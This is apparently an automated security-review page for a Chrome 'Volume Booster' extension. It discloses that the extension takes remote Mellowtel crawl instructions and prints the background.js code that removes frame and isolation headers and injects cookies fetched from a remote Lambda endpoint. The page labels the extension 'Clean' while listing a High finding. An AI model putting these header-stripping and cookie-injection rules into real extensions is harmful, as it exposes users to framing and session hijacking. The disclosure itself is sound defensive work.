Is Volume Booster – increase volume up to 600% safe?

Clean risk

Boosts browser audio volume up to 600% for louder playback.

This extension provides an audio amplifier and enhancer for browser sound. It is described as useful for streaming, gaming, and everyday browsing, with volume amplification up to 600%.

Umbrellav1.0.1Chrome Web Store
6Risk
Who publishes it

Umbrella - 3 other listings from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Umbrella

Same store account

3 other listings published from this account, 12k+ users between them, none of them carrying a finding.

Secure Password & Token Generator10k+CleanSupport your Plugin1k+CleanVideo Speed Controller – Speed Up & Increase Video speed!1k+Clean

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Remote Tasks Can Rewrite Headers and Cookies

The background worker accepts Mellowtel crawl instructions to rewrite session rules, stripping X-Frame-Options/CSP headers from sub-frames.

A jar object fetches cookies from an AWS Lambda URL, converting them into Cookie/Set-Cookie rules.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

A remote Mellowtel crawl instruction tells the extension which page and options to use.

Those options can include whether to rewrite response headers and whether to expand a remote cookie jar.

The extension did this

The extension can change browser session rules before loading the target page.

The resulting rules remove selected response headers or add cookie headers for matching domains.

Captured request
GEThttps://ti6sritai2y2cqwc23byo7iobm0vfpsg.lambda-url.us-east-1.on.aws/?bcrew_two=${bCrewObject.id}&node_id=${node_id}
Headers
Content-Type
application/json
Headers, cookies, and request context affected by the rules
  • Frame-control headers
    x-frame-options; content-security-policy; content-security-policy-report-only

    These headers help protect you from pages being embedded in another site.

  • Isolation policy headers
    cross-origin-embedder-policy; cross-origin-opener-policy; cross-origin-resource-policy

    These headers help control how a page shares browser context with other pages.

  • Cookie request header
    Cookie: session_id=abc123; Path=/; Domain=example.com (illustrative)

    A matching request can be sent with a cookie value supplied by the remote jar.

  • Cookie response header
    Set-Cookie: session_id=abc123; Path=/; Domain=example.com (illustrative)

    A matching response can receive a Set-Cookie value supplied by the remote jar.

  • Remote jar lookup
    bcrew_two=jar-7f9c2d&node_id=8a6f1d34-2a52-4df0-9b2e-4a90e732f30b (illustrative)

    The jar lookup can tie returned cookie instructions to your browser node.

The code that does this

The header-removal rule installed by the background service worker

Readable version

Readable equivalent of rule 80045

background.js
function installHeaderRemovalRule(hostname, skipHeaderRewrite) {  return new Promise((resolve) => {    if (skipHeaderRewrite) {      resolve(false);      return;    }    const ruleId = 80045;    canUseDeclarativeNetRequest().then((useMessageBridge) => {      if (useMessageBridge) {        sendToBackground({          intent: "disableXFrameHeaders",          hostname,          skipHeaders: skipHeaderRewrite,        }).then(() => resolve(true));        return;      }      chrome.declarativeNetRequest.updateSessionRules({        removeRuleIds: [ruleId],        addRules: [{          id: ruleId,          priority: 1,          action: {            type: "modifyHeaders",            responseHeaders: [              { header: "x-frame-options", operation: "remove" },              { header: "content-security-policy", operation: "remove" },              { header: "cross-origin-embedder-policy", operation: "remove" },              { header: "cross-origin-opener-policy", operation: "remove" },              { header: "cross-origin-resource-policy", operation: "remove" },              { header: "content-security-policy-report-only", operation: "remove" },            ],          },          condition: {            resourceTypes: ["sub_frame"],            urlFilter: "*://*/*",          },        }],      });      resolve(true);    });  });}
The code that does this

The cookie-jar path that creates Cookie and Set-Cookie rules

Readable version

Readable rule-id helper

background.js
function cookieRuleId(cookie) {  const key = cookie.name + cookie.value + cookie.domain + cookie.path + (cookie.isWhisper ? "whisper" : "normal");  let hash = 0;  for (let index = 0; index < key.length; index += 1) {    hash = (hash << 5) - hash + key.charCodeAt(index);    hash |= 0;  }  return 221022 + Math.abs(hash) % 1000000;}

Readable cookie-rule creation path

background.js
async function createJarRules(jarData) {  return new Promise(async (resolve) => {    if (!(await canUseDeclarativeNetRequest())) {      const ruleIds = await sendToBackground({ intent: "createJar", jarData });      resolve(ruleIds);      return;    }    const filterHttpOnly = Boolean(jarData.filterHttpOnly);    const cookies = filterHttpOnly      ? jarData.cookies.filter((cookie) => !cookie.httpOnly)      : jarData.cookies;    const rules = cookies.map((cookie) => {      const resourceTypes = cookie.resourceTypes || ["sub_frame"];      const ruleId = cookieRuleId(cookie);      let value = cookie.name + "=" + cookie.value + "; Path=" + cookie.path + "; Domain=" + cookie.domain;      if (cookie.secure) value += "; Secure";      if (cookie.httpOnly) value += "; HttpOnly";      if (cookie.sameSite && cookie.sameSite !== "unspecified") {        value += "; SameSite=" + cookie.sameSite;      } else {        if (cookie.optionalDefaultValue) value += "; " + cookie.optionalDefaultValue;        if (cookie.secure) value += "; SameSite=None";      }      if (!cookie.session && cookie.expirationDate) {        value += "; Expires=" + new Date(1000 * cookie.expirationDate).toUTCString();      }      return {        id: ruleId,        priority: 1,        action: {          type: chrome.declarativeNetRequest.RuleActionType.MODIFY_HEADERS,          ...(cookie.isWhisper            ? { requestHeaders: [{ header: "Cookie", operation: chrome.declarativeNetRequest.HeaderOperation.SET, value }] }            : { responseHeaders: [{ header: "Set-Cookie", operation: chrome.declarativeNetRequest.HeaderOperation.APPEND, value }] }),        },        condition: {          urlFilter: "||" + cookie.domain,          resourceTypes,        },      };    });    const ruleIds = rules.map((rule) => rule.id);    chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: ruleIds, addRules: rules }, () => {      if (chrome.runtime.lastError) {        resolve([]);      } else {        resolve(ruleIds);      }    });  });}

Readable runtime request fields used by this path

background.js
function parseRuntimeCrawlRequest(request) {  return {    recordID: request.recordID,    url: request.url,    skipHeaders: request.hasOwnProperty("skipHeaders") && request.skipHeaders.toString().toLowerCase() === "true",    methodEndpoint: request.hasOwnProperty("method_endpoint") ? request.method_endpoint : "",    methodPayload: request.hasOwnProperty("method_payload") ? request.method_payload : "no_payload",    methodHeaders: request.hasOwnProperty("method_headers") ? request.method_headers : "no_headers",    bCrewObject: request.hasOwnProperty("bCrewObject") ? request.bCrewObject : "{}",    burkeObject: request.hasOwnProperty("burkeObject") ? request.burkeObject : "{}",  };}
Remote services used by the runtime task path
    • ti6sritai2y2cqwc23byo7iobm0vfpsg.lambda-url.us-east-1.on.aws

    Default jar-expansion endpoint used when a remote crawl instruction does not supply another endpoint; receives bcrew_two and node_id query parameters.

    • ws.mellow.tel

    Mellowtel websocket host initialized by the background module for runtime crawl instructions.

    • api.mellow.tel

    Mellowtel approval endpoint initialized by the same websocket module.

What it can do

Permissions this extension asks for, as declared in version 1.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    <all_urls>

  • Run hidden pages in the background

    offscreen

  • Capture the video and audio of a tab

    tabCapture

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

  • Block and redirect the requests your browser makes

    declarativeNetRequest

Updated 30 September 2026dakgndcaloajcfloaidjeloollgcejmd